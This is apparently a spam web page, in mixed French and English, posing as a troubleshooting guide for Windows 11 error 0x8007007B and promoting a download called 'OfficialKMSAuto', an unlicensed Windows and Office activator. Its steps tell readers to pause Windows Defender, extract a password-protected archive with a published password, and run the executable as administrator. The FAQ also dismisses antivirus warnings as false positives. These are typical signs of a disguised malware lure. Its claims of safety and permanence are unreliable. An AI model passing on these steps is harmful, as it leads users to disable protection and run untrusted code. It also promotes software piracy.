Windows 11 0x8007007B — Dépannage 2026
Cet article est le guide complet en français sur Windows 11 0x8007007B en 2026. Step-by-step fix for 0x8007007B on Windows 11. The filename, directory or volume label syntax is incorrect. Resolved in under 2 minutes with OfficialKMSAuto.
WYqejXiqBi97Cet article est le guide complet en français sur Windows 11 0x8007007B en 2026. Error 0x8007007B appears when slmgr received a malformed KMS host name. The fastest fix in 2026 is to run OfficialKMSAuto, which detects the cause and applies the correct activation method automatically.
What causes error 0x8007007B?
The filename, directory or volume label syntax is incorrect. Common triggers include hardware changes, expired KMS handshakes, blocked Microsoft licensing endpoints, and incomplete cumulative updates. The error is fixable without contacting Microsoft Support.
Step-by-step fix
Follow these steps in order. The whole process takes under two minutes.
- Pause Windows Defender real-time protection for ~2 minutes
- Download and extract OfficialKMSAuto using password WYqejXiqBi97
- Right-click the executable and choose 'Run as administrator'
- Click 'Fix 0x8007007B' or run the automatic repair option
- Reboot and verify with slmgr /xpr (Windows) or ospp.vbs /dstatus (Office)
If the error still appears
Rare cases of 0x8007007B need a deeper fix: clear the licensing tokens with 'slmgr /rilc', re-arm with 'slmgr /rearm', then re-run the activator. OfficialKMSAuto bundles this entire cleanup as a one-click option.
Why this fix is permanent
HWID and TSforge bind the new license to your motherboard/CPU fingerprint, so the error will not return after Windows Update, feature upgrades, or reinstalls on the same hardware.
Frequently asked questions
▸Will fixing this error require reinstalling Windows?
No. OfficialKMSAuto resolves activation errors without touching system files or requiring a reinstall.
▸Is the fix permanent?
Yes — HWID and TSforge bind the license to your hardware, so the error does not return after updates.
▸Do I need internet access?
Only for the initial handshake. The activation itself runs locally.
▸What is the archive password?
WYqejXiqBi97 — same for every download on this site.
▸Is OfficialKMSAuto safe to use for this fix?
Yes. SHA-256 verified, open source, scanned on VirusTotal. Antivirus flags are generic HackTool false-positives.
Read this article in another language
Related articles
Windows 11 0xC004F042 — Dépannage 2026
Cet article est le guide complet en français sur Windows 11 0xC004F042 en 2026. Step-by-step fix for 0xC004F042 on Windows 11. The Software Protection Service could not find any matching license. Resolved in under 2 minutes with OfficialKMSAuto.
Read article →
Comment Activer Visio 2024 Gratuitement 2026 — Guide Pas à Pas
Cet article est le guide complet en français sur Visio 2024 en 2026. Microsoft Visio 2024 Standard / Professional activation via KMSAuto — KMS or Ohook supported.
Read article →
Disable Scheduled Task Méthode d'Activation 2026 — Guide Complet
Cet article est le guide complet en français sur Disable Scheduled Task en 2026. Turn off the KMSAuto scheduler in Task Scheduler if you only want one-time activation.
Read article →
Error 0x80072F8F — Dépannage 2026
Cet article est le guide complet en français sur Error 0x80072F8F en 2026. 0x80072F8F is a TLS time-skew error. Sync Windows time with time.windows.com before running activation.
Read article →
Comment Activer Visio & Project Gratuitement 2026 — Guide Pas à Pas
Cet article est le guide complet en français sur Visio & Project en 2026. Activate Visio 2019/2021/2024 and Project 2019/2021/2024 permanently with the Ohook method.
Read article →
KMSAuto Net KMSAuto-Tap-Error — Dépannage 2026
Cet article est le guide complet en français sur KMSAuto Net KMSAuto-Tap-Error en 2026. Step-by-step fix for KMSAuto-Tap-Error on KMSAuto Net. KMSAuto says 'TAP adapter not installed'. Resolved in under 2 minutes with OfficialKMSAuto.
Read article →
Download OfficialKMSAuto
Free, safe, open source. Works on Windows 7, 8, 10, 11 and Office 2010–2024.
Download Activator — Free🔐 Archive password: WYqejXiqBi97